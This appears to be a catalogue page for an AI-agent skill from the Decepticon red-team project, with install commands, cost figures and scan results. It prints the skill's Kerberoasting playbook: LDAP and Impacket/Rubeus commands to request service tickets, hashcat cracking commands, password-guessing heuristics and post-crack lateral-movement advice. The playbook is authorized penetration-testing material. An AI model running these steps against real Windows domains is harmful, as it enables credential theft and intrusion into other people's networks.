kerberoasting

kerberoasting is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 30 tokens per session (1,046 once invoked), scanned A, original, Apache-2.0.

A security testing toolkit for requesting Kerberos service tickets from Windows domain accounts and attempting to crack the returned data offline. Kerberos is the login system commonly used by Windows domains.

In plain words
What is it for?
Use it in an approved Active Directory assessment to find service accounts linked to network services and test their password strength.
Why use it?
It helps authorized testers identify service accounts whose passwords are weak enough to be recovered from ticket data.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it in an approved Active Directory assessment to find service accounts linked to network services and test their password strength.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/kerberoasting
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,482 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill kerberoasting
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for kerberoasting

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/kerberoasting/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/kerberoasting)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/kerberoasting"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/kerberoasting/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for kerberoasting

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/kerberoasting"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/kerberoasting.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 30 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,046 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 17
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00030 $0.01046
Opus 5 $0.00015 $0.00523
Sonnet 5 $0.00006 $0.00209
Haiku 4.5 $0.00003 $0.00105

Measured 8d ago against content hash 6e05c077bd61, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

kerberoasting scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md · 98 lines

How it starts

The opening of the file, as written. The whole thing — 98 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Kerberoasting Playbook

Prerequisite

Any valid domain user. No special privileges required.

1. Identify roastable accounts

From BloodHound ingest:

kg_query(kind="user", filter="hasspn=true and enabled=true")

Or LDAP-direct:

ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
  sAMAccountName servicePrincipalName > /tmp/spns.txt

2. Request TGS tickets

Impacket (most reliable):

GetUserSPNs.py DOM/USER:'PASS' -dc-ip DC_IP -request \
  -outputfile /tmp/kerb.hashes

Rubeus (from Windows beachhead):

Rubeus.exe kerberoast /outfile:C:\Windows\Temp\k.txt /nowrap

Modern hashes are $krb5tgs$23$*user$DOM$spn*$<ciphertext> (RC4). If forest is Win2012+, AES tickets may come back as $krb5tgs$18$*….

3. Crack offline

# RC4 (mode 13100)
hashcat -m 13100 -a 0 /tmp/kerb.hashes /usr/share/wordlists/rockyou.txt \
        --rules-file /usr/share/hashcat/rules/best64.rule

# AES256 (mode 19700)
hashcat -m 19700 -a 0 /tmp/kerb.hashes wordlist.txt

# Targeted rules for service-account passwords (often pattern-based)
hashcat -m 13100 -a 6 /tmp/kerb.hashes wordlist.txt '?d?d?d?d' \
        --rules-file /usr/share/hashcat/rules/d3ad0ne.rule

Service-account heuristics: 60-70% of kerberoasted accounts use:

  • ServiceName + season + year (e.g. SQLSvc2024!, IISWinter25)
  • App name + 4-digit numbers
  • Default install passwords (Veeam, SCCM, Splunk admins)
  • Custom dict from OSINT (company name, products, projects)

4. Promote cracked credential

kg_add_node(kind="credential", label="USER:CRACKED_PASSWORD",
            props={"source":"kerberoast","crack_time":"<n>m","mode":"hashcat-m13100"})
kg_add_edge(src=<cred>, dst=<user>, kind="authenticates")

5. Post-crack actions

Whatever the service account can reach is now yours:

  • Run BloodHound as the new cred → re-ingest
  • Often these accounts have AdminTo on the box hosting the service
  • Sometimes they're members of Tier-0 groups (yes, really)

Read the full file on GitHub · 98 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 98 lines · 30 tokens per session scan A 6e05c077bd61

Subscribe to this mod's changes

kerberoasting is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 12d ago), licensed Apache-2.0. It adds 30 tokens to every session and 1,046 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.